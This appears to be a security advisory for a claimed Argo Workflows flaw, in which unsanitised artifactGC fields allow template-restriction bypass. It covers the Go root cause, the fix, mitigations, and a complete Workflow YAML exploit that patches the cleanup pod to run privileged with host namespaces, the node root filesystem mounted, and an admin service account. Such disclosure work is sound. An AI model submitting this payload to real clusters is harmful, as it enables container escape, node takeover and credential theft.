CVE-2026-54526: Strict Template Referencing Bypass and Privilege Escalation in Argo Workflows

Argo Workflows orchestrates parallel jobs inside Kubernetes cluster environments. To enforce security boundaries in multi-tenant clusters, administrators use template referencing restrictions known as Strict or Secure modes. These modes prevent untrusted users from defining arbitrary container specs, forcing them to use pre-approved templates.

This vulnerability represents a critical bypass of these validation mechanisms. The underlying issue stems from how the Argo Workflows controller validates user-supplied workflow overrides. The controller allows configuration of the ArtifactGC struct, but fails to deeply inspect nested fields within this structure.

Because the sanitization parser only performs shallow reflection, fields like PodSpecPatch, ServiceAccountName, and PodMetadata are passed unmodified. An attacker with privileges to submit a workflow can leverage these unsanitized fields to inject arbitrary configurations into the garbage collection pod. This effectively re-opens the execution sinks that template referencing restrictions are designed to close.

The root cause of this vulnerability lies in the shallow validation model implemented within workflow/util/merge.go. The validation functions, specifically ValidateUserOverrides and SanitizeUserWorkflowSpec, inspect the user-submitted spec using a list of allowed top-level fields. The allowedUserOverrideFields map explicitly includes the key ArtifactGC to allow users to customize cleanup strategies.

However, Go reflection only validates the top-level type WorkflowLevelArtifactGC without recursively analyzing its nested elements. The nested ArtifactGC struct embeds fields such as ServiceAccountName and PodMetadata, alongside a separate PodSpecPatch string in the outer wrapper. Because the validation check completes successfully once it matches the parent key, the nested properties escape sanitization.

When the workflow completes, the controller initializes an artifact garbage-collection pod to delete intermediate outputs. During this stage, the controller retrieves the unsanitized ArtifactGC parameters from the workflow spec. It passes the unvalidated PodSpecPatch string directly to ApplyPodSpecPatch, which executes a Strategic Merge Patch against the target pod definition.

The flaw originates from the structural hierarchy in the Argo codebase. The WorkflowSpec structure contains ArtifactGC which maps to WorkflowLevelArtifactGC as shown below:

type WorkflowLevelArtifactGC struct {
    ArtifactGC            `json:",inline"`
    ForceFinalizerRemoval bool   `json:"forceFinalizerRemoval,omitempty"`
    PodSpecPatch          string `json:"podSpecPatch,omitempty"` // Sensitive nested patch
}

Because of the lack of deep inspection, the controller accepts user-supplied JSON payloads for podSpecPatch and applies them unmodified. The fix implemented in commit 277e9cef0ad16d7eaaab253573d0695951a65dbd addresses this by manually stripping sensitive fields. The remediation adds validation logic to intercept these specific sub-fields during the template verification phase.

// Fix implementation in workflow/util/merge.go
func ValidateUserOverrides(userSpec *wfv1.WorkflowSpec) error {
    ...
    // Identify nested violations within the ArtifactGC struct
    violations = append(violations, artifactGCOverrideViolations(userSpec.ArtifactGC)...)
    if len(violations) > 0 {
        sort.Strings(violations)
        return fmt.Errorf("fields %v are not permitted when using workflowTemplateRef with templateReferencing restriction", violations)
    }
    return nil
}

The corresponding sanitization routine now actively overrides these values to prevent downstream execution. The sanitizeArtifactGC helper creates a deep copy and strips the sensitive attributes, ensuring that only benign settings like deletion strategy remain active.

Exploitation of CVE-2026-54526 requires the attacker to have permissions to submit workflows within the target Kubernetes namespace. The attacker must first identify an existing, pre-approved WorkflowTemplate that declares at least one output artifact. The exploit works by submitting a custom Workflow that references this approved template but inserts a malicious payload inside the allowed artifactGC block.

apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: template-referencing-bypass-
spec:
  workflowTemplateRef:
    name: approved-hardened-template
  artifactGC:
    strategy: OnWorkflowCompletion
    serviceAccountName: argo-admin-service-account
    podSpecPatch: |
      {
        "spec": {
          "hostNetwork": true,
          "hostPID": true,
          "containers": [
            {
              "name": "main",
              "securityContext": {
                "privileged": true,
                "runAsUser": 0
              },
              "volumeMounts": [
                {
                  "name": "host-root",
                  "mountPath": "/mnt/host"
                }
              ]
            }
          ],
          "volumes": [
            {
              "name": "host-root",
              "hostPath": {
                "path": "/"
              }
            }
          ]
        }
      }

Upon submission, the validation engine allows the payload to pass because artifactGC is on the whitelist. Once the primary workflow execution completes, the controller instantiates the garbage-collection pod and applies the strategic merge patch. This forces the pod to run in the host namespaces with root permissions, mounting the underlying node root filesystem to /mnt/host, which allows complete container escape and host takeover.

The impact of successful exploitation is complete compromise of the underlying Kubernetes worker node and potential cluster-wide privilege escalation. By executing a privileged container with host-level volume mounts, the attacker escapes the containerization boundary. This allows direct modification of system configurations, execution of host-level binaries, and credential extraction from the host filesystem.

Furthermore, the ability to specify an arbitrary serviceAccountName under artifactGC allows direct identity theft within the cluster. If high-privilege service accounts exist in the namespace, the garbage-collection pod can run under those credentials. This grants the attacker immediate administrative permissions over the Kubernetes API server without needing to escape to the host node.

The CVSS v3.1 score is evaluated at 9.9, reflecting high availability, integrity, and confidentiality impacts. Because the vulnerability requires minimal complexity and low privileges, it presents a substantial risk to multi-tenant environments. Multi-tenant clusters that rely on template referencing for isolation are particularly vulnerable to this bypass mechanism.

The primary mitigation is upgrading Argo Workflows to the patched versions. Users running the 3.7.x release branch must upgrade to v3.7.15 or later. Users on the 4.0.x branch must upgrade to v4.0.6 or later. These releases contain the deep-validation patch that successfully blocks and strips unauthorized fields during workflow parsing.

If upgrading immediately is not feasible, organizations should deploy Admission Controllers to block malicious submissions. A Kyverno cluster policy or OPA Gatekeeper constraint can inspect incoming Workflow definitions. These policies must drop any submission that contains non-empty podSpecPatch or serviceAccountName values nested under the spec.artifactGC path.

Additionally, cluster administrators should audit the permissions of service accounts active within workflow namespaces. Enforcing strict least-privilege roles prevents attackers from hijacking highly privileged administrative identities. Finally, security teams should implement runtime detection tools to monitor for unexpected privileged container creations or host namespace mounts.